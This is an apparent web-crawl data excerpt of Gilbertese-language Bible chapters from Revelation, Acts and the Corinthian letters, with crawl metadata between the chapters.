Tiibuteteei, ao ana toro te Atua a na taromauria. 4A na nora matana, ao E na koreaki arana i aon ram'aia. 5E na akea te bong; ao a aki kainanoa ootan te taura ma taai, b'a E na riki te Atua b'a te oota i aoia; ao a na uea n aki totoki. 6Ao e taku te anera nako iu, \"A kona n onimakinaki taeka aikai b'a a koaua. Ao te Uea, ae Atuan tamneia burabeti E kanakoa ana anera b'a e na kaoti nakoia ana toro baika na waetata n roko.\" 7\"Ao noria, ae N na waetata n roko E a kab'aia ane taua te taeka ni burabeti ae n te boki aei.\" 8Boni ngai, ae Ioane, ae I ongo ma n noori baikai. Ao ngke I ongo ma n noori, ao I katorobubua ni bobaraaki i rarikini waen te anera are kaoti baikai nako iu. 9Ao e taku nako iu, \"Tarataraiko b'a ko na aki taromauriai; bon raom n toro ngai, ao raoia n toro tarim ake burabeti, ma ake a ongeaba nakon taeka aika n te boki aei. Ko na taromauria te Atua. 10Ao e taku nako iu, Ko na tai kanikinaei n ae a na aki kakaotaki taeka ni burabeti n te nira ni boki aei, b'a e a kaan te tai; 11Ane buakaka, ao ke e teimatoa ni kakaraoa ae buakaka; ao ane kam'ara, ao ke e kateimatoa arona ni kam'ara. Ane b'ab'aina te eti, ao ke e kakaraoa ae eti; ao ane itiaki man te bure, ao ke e kawakinna mani karaoan ae buakaka.\" 12Noria, ae N na waetata n roko ma uotau te bae N na anga nakoia aomata ni kabaneia ni kaeti ma aron aia m'akuri nako. 13Boni Ngai te Moa ao te Toki; boni moani b'aai Ngai ao tokiia naba Ngai. 14A a kab'aia akana teboki aia kunnikai aika m'arairai, b'a e na reke nakoia te kona n roko n te kai ni maiu, ao te kona n rin nako i nanoni mataroan te kaawa, b'a a aonga n rin n te kaawa. 15Taani mena i tinanikun te nono bon te koraki aika baba n tangira te kammaira ma te wene ni bure; ao raoia bon taan tabunea, ma taani kamateia aomata, ma taan taromauri bouananti, ma akana tatangira taekinan te kewe ma karaoana naba. 16\"Ngai ae Iesu, ae I kanakoa au anera b'a e na kaoti baikai nakoimi i nanon ekaretia nako. Boni kanoan Tawita Ngai, ao te Itoi ni Ngaina ae oota m'aaka Ngai.\" 17Ao E kaangai te Tamnei Ao ane ongo e na kaangai naba, \"Mai.\" Ao ke e nako mai ane kani moi; ao ke e anaa te ran ni maiu ane kan anaia, n aki kaboa. 18I taetae ma te koaua nakoia aomata nako akana ongo taeka ni burabeti n te nira ni boki aei: b'a ngkana e raon taeka aikai te aomata n ana taeka tabeua, ao te Atua E na raona naba kaina ake b'aai ni kamamate aika a koreaki taekaia n te nira ni boki aei; 19ao ngkana iai te bae e kamaunaa te aomata man taeka ni burabeti n te nira ni boki aei, ao te Atua E na anaa mai rouna tib'angana n te kai ni maiu ao man te kaawa are tabu, ake a koreaki taekaia n te nira ni boki aei. 20E kaangai Teuare kaoti baikai, \"Eng, ae N na roko ni waetata, Amen.\" Nako mai, te Uea ae Iesu! 21E na mena ana akoi te Uea are Iesu irouia ake a itiaki ni kabaneia.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/22","date":"2016-07-01T04:39:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783400031.51\/warc\/CC-MAIN-20160624155000-00049-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":688,"character_repetition_ratio":0.061,"word_repetition_ratio":0.003,"special_characters_ratio":0.252,"stopwords_ratio":0.426,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke e mena Aboro i Korinto, ao B'auro e ri nukan aaba ake i eta, ao e roko i Ebeto; ao e kuneia Kristian tabem'aang iai. 2Ao e taku nakoia, \"Kam anganaki te Tamnei are Raoiroi ngke kam moa n onimaki ke kam aki?\" Ao ngaiia a taku nakoina, \"Ti tuai n ongo taekan te Tamnei are Raoiroi, b'a iai ke akea.\" 3E a manga titirakiniia riki ao e kaangai, \"Te aeka ni b'abetito ra are kam b'abetitoaki iai?\" Ao a kaangai, \"Ana b'abetito Ioane.\" 4Ao e taku B'auro, \"Ana b'abetito Ioane bon te b'abetito i bukin rairan te nano; ao e tuangiia aomata aika Iteraera b'a a na onimakina Teuare nangi roko i mwina, are Iesu.\" 5Ngke a ongo aei, ao a b'abetitoaki n aran te UEA are Iesu. 6Ao ngke e katokaa baina B'auro i aoia, ao E roko te Tamnei are Raoiroi i aoia; ao a taetae n taetaen aaba aika bati, ao a taetae ni burabeti. 7Tao tengauni ma uoman m'aitiia aomata akekei ni kabaneia. 8I nanon tenua nam'akaina ao e aki toki B'auro n rin ni m'aneabaia I-Iutaia, n taetae iai n aki mamaku, n tataekina uean te Atua b'a a aonga n anaaki nanoia aomata iai. 9Ma ngke a matoatoa nanoia tem'angina n rawa ni kan ira nanona, ma ni kabuakaka i mataia aomata ana kaantaninga te UEA i bukin te kawai are a riai n toua, ao e nako mai rouia. E kairiia nako reirei ni kaokoroia, ao e reirei n te bong ae koraki n ana ru n reirei Turano. 10E kakaraoa aei i nanon uoua te ririki, n te aro are a bane n ongo ana taeka te UEA aomata ake a maeka i Atia, ake I-Iutaia ma I-Erene. 11Ao E karaoi m'akuri aika kamimii te Atua, aika a aki nonoraki aroia ni baini B'auro, 12n te aro are ngkana a anaaki kunnikai ma kaoanimaono ake a bo ma kunna ao a kakaki i aoia aoraki, ao a kona ni kamaiuaki iai man aorakiia, ao a oti nako naba tamnei aika bubuaka mai rouia. 13Iai I-Iutaia tabem'aang aika nanakonako ni kanakoia naba tamnei aika bubuaka n aia tabunea. A kabongana aran te UEA are Iesu nakoia aomata ake iai i rouia tamnei aika bubuaka, ao a kaangai, \"Ti tuangngkami iroun Iesu are e tataekinna B'auro!\" 14Itimani m'aitiia te koraki aika karaoa te baei, aika natin te I-Iutaia ae aia mataniwi ibonga ae arana Tikeua. 15Ma e kaekaia te tamnei are buakaka ni kaangai, \"I ata Iesu, ao I ata naba B'auro; ma antai ngkami?\" 16A ewekaki ngkanne iroun te aomata are iai i rouna te tamnei are buakaka, ao e konai aoia b'a e korakora nakoia. Ma ngaia are, a biri nako mai nanon te auti arei ma kunnikaia aika raeuaki, ao a ikoaki. 17E a ataaki te baei irouia I-Iutaia ma I-Erene ni kabaneia ake a maeka i Ebeto, ao a rangi ni maku; ao e neboaki aran te UEA are Iesu. 18A m'aiti naba aomata i buakoia ake a tia n onimaki aika roko ni kaoti aroia, ma ni karakin aia m'akuri nako aika bubuaka. 19A bati aia koraki taan tabunea ake a uoti aia boki n tabunea ao a boti ni kabuoki i mataia aomata ni kabaneia; ao ngke a wareki m'aitini booia, ao a noria b'a ngaia nimabwi te nga te maibiibi n tirewa. 20Ao e buta nako ana taeka te UEA n te aro anne, ao a bati riki aomata ake a onimaki. 21Ngke a tia n riki baikekei, ao e moti i nanoni B'auro b'a e na ri nuukani M'aketonia ma Akaia n nako Ierutarem, ao e kaangai, I mwin rokou i Ierutarem, ao e riai b'a N na nora naba Rom. 22Ao e kanakoia uoman mai buakoia raona ake a buobuokia, are Timoteo ma Erateto nako M'aketonia, ao ngaia e tiku ni kamanna i Atia. 23I nanon taai akanne ao e riki te kiriwe ae korakora i bukin te Aro. 24B'a te aomata temanna ae arana Temeterio, ae te tia karaoi b'aai man te tirewa, e kakaraoi man tirewa Tembora aika taore aika uarereke aika katotongan um'antabun Nei Aritemito, ao e korakora aia m'akuri iai te koraki ake a m'akuri i rouna. 25E botiia taani m'akuri aikai ma te koraki tem'angina ake ti te bo aekan naba aia m'akuri ma ngaiia ao e taku: Mm'aane, kam ataia b'a e reke kaub'aira man te m'akuri aei. 26Ao kam noria, ao kam ongo, b'a tiaki ti i Ebeto ae e kairoroia ma n anai nanoia iai aomata teuare B'auro, ma e kuri ni kabuta aon Atia, n taku b'a tiaki atua baika karaoaki ni baiia aomata. 27Iai ngkanne te kangaanga ae na reke nakon ara m'akuri aei, b'a e nang aki kubaraki. Ma tiaki ti ngaia, ma iai naba te kangaanga ae na reke nakon um'antabun te anti are kakannato are Nei Aritemito, b'a e nang kakeaki bonganana; ao Nei Aritemito, are taromauriaki i Atia ao i aonnaba, e nangi mauna kakannatona! 28Ngke a ongo taeka akanne, ao a rangi n un, ao a takarua ni kaangai, \"E kakannato Nei Aritemito, are antiia I-Ebeto!\" 29E buta aon te kaawa arei n te kiriwe, ao a tauaki irouia aomata Kaio ma Arititareko, aika I-M'aketonia, aika raoni B'auro ni m'am'ananga. A bane ni b'aina te nano ae ti teuana ni kanenei nakon te tabo are a bobotaki iai kaain te kaawa, ao a tauia uakekei. 30E kan nako B'auro n tei n taetae i mataia aomata, ma a tukiia ake a onimaki. 31A kanakoa naba nakoni B'auro aia rongorongo I-Atia tabem'aang, aika taan tautaeka aika raoraona, ao a tuangnga b'a e na aki kaoti n aia tabo ni bobotaki kaain te kaawa. 32A mangao aomata: tem'angina a takaruaea te b'ai teuana, ao tem'angina te b'ai teuana, b'a a m'aiti i buakoia ake a aki ata bukin are a botaki iai. 33Iai tabem'aang i buakoia ake a bukina Arekantero b'a ngaia are e karika te kiriwe, i bukina ngke e kanakoaki irouia I-Iutaia b'a e na tei i matan te botaki. E taotaona baina Arekantero nakoia aomata b'a e kani karaua te taetae nakoia. 34Ma ngke a ataia b'a te I-Iutaia, ao a bane n takarua n te b'ana ae ti teuana, i nanon tao uoua te aoa ni kaangai, \"E kakannato Nei Aritemito, are atuaia I-Ebeto!\" 35Ngke e a tia ni katoki karongoaaia aomata te tia koroboki n te kaawa, ao e taku, Mm'aane aika I-Ebeto, antai te aomata ae aki ata te kaawa ae Ebeto b'a ngaia te tia kawakina um'antabun Nei Aritemito are kakannato, ma te b'ai are b'aka mai karawa? 36A aki konaaki ni kakeweaki baikai, ma ngaia ae e riai b'a kam na rau, ao kam na karaurau n iango i m'ain ae kam karaoa te b'ai teuana. 37B'a kam kairiia mai aomata aikai, aika tiaki taani kurib'ai Tembora i bukiia anti, ao a aki taetaebuaka naba Nei Aritemito. 38Ma ngaia aei, b'a ngkana tao iai ana taeka Temeterio ma taani m'akuri ake raona ni kabuakaka temanna, ao bon iai boong ni kabowi ao iai naba taani moti: arei neia n i kabuakaka. 39Ma ngkana iai riki te b'ai ae kam tangiria, ao e na baireaki taekana ni kabowin te kaawa n aron taekana n te tua. 40B'a ae ti a reke n te kangaanga, b'a ti nangi bukinaki b'a ngaira aika ti karika te kiriwe n te bong aei; ao akea ara taeka ae e raoiroi ae ti na anga b'a kab'arab'arani bukin te ibetutu n aomata aei. 41Ao ngke e a tia n atongi baikai, ao e kab'aranakoa te botaki arei.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/19","date":"2016-07-02T06:21:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783408828.55\/warc\/CC-MAIN-20160624155008-00029-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":1260,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.413,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao ngai, taari, ngke I roko i roumi n taekina te baere raba are mairoun te Atua, ao I aki kamanenai taeka aika N na atongaki iai b'a iai i rou te rabakau n taetae ma te ataib'ai. 2B'a e reke nanou ngke I mena i buakomi b'a akea riki te bae N na taekinna b'a ti Iesu Kristo, te Kristo are mate n te kaibangaki. 3Ma ngaia are ngke I roko i roumi, ao I mamara ma n rurubenebene ni maaku. 4Ngke I taetae ma ngkami, ao ngke I taekina te euangkerio, ao I aki kani kaotai b'a aongkoa I rabakau n taetae; ma I angan Tamnein te Atua b'a E na kaota m'aakana. 5N te aro anne, ao e a reke i roumi iai te onimaki ni m'aakan te Atua, ma tiaki n rabakaun te aomata. 6Ma ti kabongana te taeka n rabakau i buakoia aomata aika ikawai n aia onimaki; ma tiaki rabakaun aon te aba ke rabakauia taan tautaeka i aonnaba, aika te koraki aika nangi mauna mataia. 7Ti taekina rabakaun te Atua ae akea temanna ae ata arona, are te rabakau ae raba, are E a tia ni motika taekana te Atua, i m'ain rikin aonnaba, b'a E na karekea iai arora n neboaki. 8Akea irouia taan tautaeka n te aonnaba aei ae ata te rabakau aei. B'a ngke a ataia, ao a na bon aki kamatea n te kaibangaki te UEA, are ana b'ai te neboaki. 9Ma e a tia taekana n ai aron are koreaki ni kangai: \"Baike e tuai n nori te mata, ao e tuai n ongo te taninga, ao e tuai n reke n ana iango te aomata, boni ngaai baike E katauraoi te Atua i bukiia ake a tangiria!\" 10E a tia ni kaotii te Atua nako ira iroun Tamneina. B'a akea te b'ai teuana ae E aki ata arona te Tamnei, ao E atai naba ana kaantaninga te Atua aika nano. 11B'a antai i buakoia aomata ae ata te aomata n arona ni kabane? Bon ti tamnein te aomata ae i nanona. Ao ai arona naba, b'a akea ae ata aron te Atua ni kabane b'a bon ti Tamnein te Atua. 12Ao ngaira ti aki anganaki te tamnei ae b'ain aon te aba, ma ti anganaki te Tamnei are mairoun te Atua, b'a ti na atai ana b'ai n tituaraoi te Atua nako ira. 13Ma ngaia ae ti na aki kabonganai taeka aika ti karekei man te rabakau n aomata ngkana ti taetae, ma ti na kabonganai taeka aika ti reireiaki iai iroun te Tamnei ngkana ti kab'arab'arai ana koaua te Atua nakoia ake iai Tamnein te Atua i rouia. 14Te aomata ae akea Tamnein te Atua i rouna e aki kona ni butim'aai b'aai ake ana b'ai Tamnein te Atua, b'a e taku n ana iango b'a b'aai n nanobaba; ao e aki kona n atai aroia ma bukiia i bukina b'a akea Tamnein te Atua i rouna. 15Ane E memena i rouna Tamnein te Atua, ao e kona neneri aroni b'aai nako b'a a bongana ke a aki; ma akea ae e kona n nenera arona; 16n aron are koreaki ni kangai: \"B'a antai ae ata nanon te UEA, b'a e na reireia?\" Ma bon iai i roura i nanoni Kristo.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/2","date":"2016-06-27T03:06:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783395620.56\/warc\/CC-MAIN-20160624154955-00139-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":546,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.454,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I mwini baikekei ao e kitana Atenai B'auro, ao e nako Korinto; 2e kaitibo iai ma te I-Iutaia ae arana Akura ae bungiaki i Bonto, ae e a tib'a roko mai Itare, ma Beritikira are buna, i mwin ana taeka Keraurio nakoia I-Iutaia ni kabaneia b'a a na kitana Rom. E nako ni kawariia B'auro, 3ao e mamaeka ma ni m'akuri ma ngaiia, b'a kioina ngke ti te bo nakoaia: b'a taani karaoi um'anrianna ngaiia. 4E aki toki B'auro ni kakarabakau ni m'aneabaia I-Iutaia n te Taabati ae koraki, b'a e kan anai nanoia I-Iutaia ma I-Erene. 5Ngke a roko Tira ma Timoteo mai M'aketonia, ao akea ana m'akuri B'auro b'a ti te tataekina ana taeka te Atua, ni kaota raoi nakoia I-Iutaia b'a bon te Kristo Iesu. 6Ma a ekianako ao a taetaebuakaia, ao ngaia e ioioa ana kunnikai, ao e taku nakoia, \"Kam na boni bukintaeka n ami bure! Akea au bure iroumi! I mwini ngkai ao I a nakoia aomata aika tiaki I-Iutaia.\" 7E kitana ikekei ao e nako n ana auti te aomata ae arana Titio Iouteto, ae tataromauria te Atua; e kaan ana auti ma m'aneabaia I-Iutaia. 8Ao Kiritebo, are te tia taua taekan aia m'aneaba I-Iutaia, e onimakina te UEA ma kaain ana auti ni kabaneia; ao I-Korinto aika bati, ngke a ongo ana taeka te Atua, ao a onimaki ao a b'abetitoaki. 9N te tairiki teuana ao kanga e mii B'auro: e taetae nakoina te UEA ni kaangai, \"Tai maku, ma ko na taetae, ao tai kainab'aabu! 10B'a I memena i roum, ao akea te aomata temanna ae na ekiko nako ni kaikoakiko: b'a a bati au aomata n te kaawa aei.\" 11Ao e maeka B'auro n te kaawa arei i nanon teuana te ririki ao onoua nam'akaina, n reireiia aomata ana taeka te Atua. 12Ma ngke te tia tautaeka i Akaia Kario, ao a kabo nanoia I-Iutaia n eweka B'auro, ao a kairiia nako matan te tabo ni motiki-taeka 13ao a taku, \"E anai nanoia aomata teuaei b'a a na taromauria te Atua n te aro ae bobuaka ma taekan te tua!\" 14Ma ngke e nangi taetae B'auro, ao e taku Kario nakoia I-Iutaia, \"Ngke arona b'a te kairua, ke te bure kakaiaki te baei, ao e riai i rou b'a N na kabanea au tai n ongora iroumi. 15Ma ngkai e kaeti ma taian titiraki i bukin taeka ma aara, ma taekan ami tua, ao I a katikui taekaia nakoimi, b'a I aki kan riki b'a te tia motiki taekani baikai.\" 16Ao e kakioia nako man te tabo ni motiki-taeka. 17Ao a bane n taua Tototene are te tia taua taekani m'aneabaia I-Iutaia, ao a batiboia i matan te tabo ni motiki-taeka; ma e aki kan tabe ma ngaiia Kario. 18E kabatiai riki ana bong B'auro n tiku ma taari i Korinto, ao rimwi e kabo ma ngaiia, ao e borau ma Nei Beritikira ao Akura nako Turia; ao e korobuatau B'auro i Kengkirea i m'aini borauna, b'a kakoroan nanon ana taeka ni bau are e bae iai. 19A roko i Ebeto, n te tabo are a kitanaki iai Beritikira ma Akura irouni B'auro. E nako B'auro n rin ni m'aneabaia I-Iutaia, ao e reireiia I-Iutaia. 20Ngke a butiia b'a e na tiku i rouia ni kamanna, ao e aki iri nanoia; 21ma ngke e kabo ma ngaiia, ao e taku, \"Ngkana nanon te Atua ao N na manga okiringkami.\" Ao e borau mai Ebeto. 22Ngke e aerake i Kaitareia, ao e waerake ni kamaura te ekaretia, ao i mwina e nako Antioka. 23E tiku ni kamanna iai teutana, ao i mwina e kitanna n nako ni kawara te aba are Karatia ma Berukia, ni kakorakoraia taan onimaki ni kabaneia iai. 24E roko i Ebeto te I-Iutaia temanna ae arana Aboro, ae bungiaki i Arekanria. Te tia taetae ngaia ae rabakau, ao e rangi n atatai n te B'aib'ara. 25E a tia n reireiaki teuaei nanon te UEA i bukin te kawai are a riai n toua aomata, ao e taetae ma angin nanona, n reireiia aomata koaua aika eti aika taekan Iesu, e boni ngae ngke e ti atatai n ana b'abetito Ioane; 26ao e taetae teuaei n aki mamaku i nanoni m'aneabaia I-Iutaia. Ngke a ongora i rouna Akura ma Beritikira ao a weteia, ao a kab'arab'ara nakoina nanon te Atua i bukin te kawai are a riai n toua aomata, b'a e aonga n eti riki ana atatai iai. 27A kaungaa nanon Aboro taari ngke e kan nako Akaia, ao a koroboki nakoia ake a onimaki ikekei b'a a na m'aneia n akoia; ao ngke e roko, ao e korakora ana i buobuoki nakoia ake a tia n riki b'a taan onimaki n ana akoi te Atua: 28b'a n ana imanono ao e konai aoia I-Iutaia n aia kauntaeka i mataia aomata, ngke e kaotaia man te B'aib'ara b'a bon te Kristo Iesu.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/18","date":"2016-07-01T01:28:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783399428.8\/warc\/CC-MAIN-20160624154959-00028-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000096559524536}","num_words":816,"character_repetition_ratio":0.058,"word_repetition_ratio":0.002,"special_characters_ratio":0.251,"stopwords_ratio":0.426,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Kam bia taon nanomi nakon nanobabau ae teutana; kam na bon taon nanomi nako iu. 2B'a e rangi ni korakora nanou n tauaninne i roumi n ai aroni korakoran nanon te Atua; ai aron te ateiaine ae itiaki ngkami ae I kainroua ma te mm'aane ae ti temanna, are boni Kristo. 3Ma I maaku b'a a kawa n anaaki nanomi, n ai aron Nei Ewa ngke e m'am'anaki n nanowanawanan te naeta, ao kam kitana aromi n reitaki ma Kristo ae nako raoi ma n itiaki. 4B'a ngkana e roko temanna i roumi n taekina Iesu riki temanna are tiaki Ngaia are ti taekinna, ke ngkana kam anganaki te Tamnei ae kaokoro ae tiaki Ngaia are kam anganaki, ke te euangkerio are tiaki naba ngaia are kam anganaki, ao kam konamaki n taotaon nanomi nako ina. 5B'a I taku b'a I bon aki mangori riki nakoia te koraki akana kam atongiia b'a \"taan tuatua\" aika akea n ai aroia! 6B'a ngkana tao I bangab'ai n te aro n taetae, ma I aki n te ataib'ai, ti a tia n aaro nako ao ni b'aai ni kabane ni kaoti arora aikai nako imi. 7Ke e bure are I karaoia n arou ni karinanoai b'a kam aonga ni karietataki ngke I taekina ana euangkerio te Atua n aki kaboa nako imi? 8Kanga aron ae I kurib'aia ekaretia tabeua ngke I anaa bon au m'akuri mai rouia i bukimi. 9Ngke I mena i roumi ao I bon aki karawawata temanna ngkana iai te b'ai ae I kainanoia: b'a te bae I kainanoia e a reke mairouia taari ake a nako mai M'aketonia. I a tia ni kawakinai b'a N na aki riki b'a te b'ai ni karawawata ngai nako imi ni b'aai ni kabane, ao N na manga boni kawakinai naba maiai. 10Ngkai iai i rou te koaua are mairouni Kristo, ao I kakoaua b'a e na bon aki katokaki kamoamoau aei mai rou n te aba are Akaia. 11Ao b'a e aera? I bukina b'a I aki tangiringkami? E ataia te Atua. 12Ma ae I karaoia ao N na boni karaoia naba, b'a I aonga ni katoki wiia \"taan tuatua\" ake tabeman ake a taku b'a n aia m'akuri are a kamoamoaia iai ao bon ti te bo aroia ni m'akuri ma arora. 13B'a te koraki akanne bon taan tuatua ni kewe, aika taani m'am'ana te aba n aia m'akuri, ao a onikia b'a aongkoa ana taan tuatua Kristo. 14Akea te bae e kamimii iai, b'a aio naba aron Tatan: e kona n onikia b'a aongkoa te anera ae raneanea taraana. 15Ma ngaia ae tiaki te b'ai ae e na iruwa te aba iai ngkana a onikia naba taani m'akuri i bukin Tatan b'a kanga taani m'akuri i bukini karaoan nanon te Atua; ao tokiia, a na karekea booni mwin aia m'akuri. 16I kaoka are I a tia n taku, Ke e tai taku temanna b'a I baba; ao ngkana kam taku b'a I baba, ao kam na ongora i rou ngkai kanga I baba, b'a N na kamoamoaai naba teutana. 17Te bae I atongnga ao I aki atongnga n ai aron nanon te UEA, ma I atongnga b'a kanga te taetae ni baba n te aro ni kamoamoa aei. 18Ngkai a kamoamoaia aomata aika bati i bukin nanoia n aomata ao ngai N na kamoamoaai naba. 19B'a kam kukurei n taon nanomi nakoia akana nanobaba, ngkai kam wanawana! 20B'a kam taon nanomi ngkana e toroningkami temanna, ngkana e kurib'aingkami temanna, ngkana e kam'aneingkami temanna, ngkana e kakeaa bonganami temanna, ao ngkana e oroubuingkami temanna. 21I mamaa n taekinna b'a ti a tia ni mamara nakoni karaoani baikanne; ma ngkana iai te baene e ninikoria iai te aomata, I taetae ni baba!, ao I ninikoria naba ngai. 22Ebera uakekei? Ngai naba. Iteraera uakekei? Ngai naba. Kanoan Aberaam uakekei? Ngai naba. 23Ana taani m'akuri Kristo uakekei? I taetae n ai aron ae baba: i aoia riki ngai; b'a I m'akuri korakora riki nako ia, a bati riki au tai ni kabureaki, a bati riki au tai ni kataereaki, ao a bati riki au tai ae e kaani mateu iai. 24Nimaua te tai kataereau ni kaiu aika tenibwi ma ruaiwa irouia I-Iutaia; 25Tenua kataereau n taiani kai, teuana karebanau n taian atiibu, tenua au tai are I toka iai i aoni kaibuke ao a uruaki ngke a koro, ao I kabanea teuana te bong ao teuana te ngaina ni mena i nanoni marawa. 26Ni m'am'anangau aika bati ao I kaitaraa ma kanganga aika I kuri ni kabuanib'ai iai, aika kanganga man taiani karaanga, mairouia taani kam'arua, mairouia au botannaomata, mairouia aomata aika tiaki I-Iutaia, man te kawa, i nanon te rereua, i marawa, mairouia taari ni kewe; 27ao kanganga naba man te m'akuri ae kakua, te aki mamatu n tairiki aika bati, te baki ma te taka, te aki mamatam i nanon taai aika bati, te mariri, ao aki tauni m'aitini kunnikaiu i aou. 28Ao raoni b'aai aika I aki kan taekin bon tabeaiangan nanou ae korakora n te bong ae koraki i bukiia taian ekaretia ni kabaneia. 29Antai ae mamara, ao I aki mamara? Antai ae kab'akaki nakon te bure, ao e aki maraki nanou iai? 30Ngkana e riai i rou b'a N na kamoamoaai, ao N na kamoamoaai ni baika na kaota mamarau. 31E ataai b'a I aki kewe te Atua ae Taman ara UEA are Iesu, are ana b'ai te neboaki n aki toki. 32I Tamateko, ao e kateia tem'angina te tia tautaeka are i aan te uea are Areta b'a a na tantani i rarikini mataroani kawai n rin n aia kawa I-Tamateko, b'a a na tauai; 33ma I nnaki rikaaki n te b'aene ni kaotinakoaki ri nanoni wintoon te nono, ao I a maiu mai rouna.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/11","date":"2016-06-29T22:02:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783397842.93\/warc\/CC-MAIN-20160624154957-00094-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":958,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.384,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke ti a maiu b'a ti a roko n te aba, ao ti a ata te abam'akoro arei b'a ngaia Merita arana. 2E rangi ni moamoa aroia n akoi nako ira kaain te aba arei: b'a a kaura te ai ao a butim'aira n akoira, i bukina ngke e kakarau ao e kamariri. 3Ngke e anai bota n aia B'auro ni kab'akai i nanon te ai, ao e oti nako te naeta mai buakon aia akekei i bukin te kabuebue, ao e nimta baini B'auro. 4Ngke a nora te naeta n tinetine ni baini B'auro, ao a i taetae irouia kaain te tabo arei, ni kaangai, \"Bon te koaua b'a te tia tiritiri te aomata aei: b'a e ngae ngke e reke maiuna mai tari, ma e aki kariaia antin te kaetitaeka b'a e na maiu.\" 5E ioa nako te man arei B'auro mai baina nako nanon te ai, ao akea marakina i mwina. 6A kaantaninga B'auro te koraki arei b'a e na tibu ke e na b'aka ni mate n te tai naba arei; ma ngke a maan ni kakantaninga ao a noria b'a akea te rekenikai nakoina, ao a bita nanoia n taku, \"Bon te anti ngaia!\" 7E kaan te tabo are a mena iai B'auro ma raona, ma abani mataniwin te abam'akoro arei, ae Boberio arana; e butim'aira ao e karaoi m'akuri n akoi aika ti kakukureiaki iai i nanon tenua te bong. 8I nanon ara tai n tiku ikai, ao e wene tamani Boberio, b'a e taonaki n te aoraki ae te kabuebue ae roroko ni korakora, ma te bekararaa. E rin ni kawaria B'auro, ao e tataro ni katokai baina i aona, ao e kamaiuaki man aorakina. 9Ngke e riki arei, ao a roko naba tabem'aang ake a aoraki n te abam'akoro arei, ao a kamaiuaki. 10A karineira n aaro ni karinerine aika bati; ao ngke ti nangi borau, ao a katokai baika riai i bukira b'a ara tianaki. 11I mwin tenua nam'akaina ao ti toka ni kaibuken Arekanria ae arana Riotikouri, are ai aron \"Atua aika bwebwee\", ae kabanea bongin te aumeaang n te abam'akoro arei. 12Ao ngke ti aerake i Turakuta, ao ti tiku iai tenibong. 13Ti borau ngkanne mai iai ni kaararake, ao ti roko i Rekio; ao i mwin teuana te bong ao e wai te angi maiaki. Ao n te bong are i mwina ao ti roko i Buteori. 14Ti kaitibo iai ma taari, ao ti butiaki b'a ti na mena i rouia itibong; ao ai ngaia anne aroni kawaira n roko i Rom. 15Ngke a ongo taekara taari ake i Rom, ao a roko ni butim'aira tem'angina n ana tabo ni m'akete Abia, ao tem'angina n te tabo ae aranaki b'a Auti-n-iruwa-aika-tenua; ao ngke e nooriia B'auro ao e katituaraoa te Atua, ao e kauungaki nanona i rouia. 16Ngke ti rin i Rom, ao e kariaiakaki B'auro b'a e na maeka n ti ngaia ma te tautia temanna are teteiakinna. 17I mwin tenibong, ao e kaoiia ake a kakannato i buakoia I-Iutaia B'auro b'a e na maroroo ma ngaiia; ao ngke a botaki, ao e taku nakoia: Mm'aane, taari, e boni ngae ngke akea te bae I karaoia n eekaanako iai au botannaomata ma aia katei ara bakatibu, ao I a tia ni kanakoaki mai Ierutarem nako nanoni baiia I-Rom b'a te bure ngai. 18Ngke a tia n ukoukora aron taekau, ao a iangoia b'a a na kainaomataai b'a akea riaini bukin te b'ai are e riai mateu iai. 19Ma a rawa iai I-Iutaia, ma ngaia are I a kairoroaki iai b'a N na atonga kautun te tautaeka n Rom b'a te tia motika taekau, e ngae ngke akea tangu ae N na uotia ni kabuakakaia iai au botannaomata. 20Ao bon aei bukin are I kaoingkami iai, b'a N na noringkami, ma n taetae nakoimi: b'a I kabaeaki n te taurekereke aei i bukin aia kaantaninga Iteraera. 21Ao a taku aomata akekei nakoina, \"Akea reeta aika tia n reke iroura mai Iutaia i bukin taekam, ao akea naba irouia ara koraki ae roko ikai n 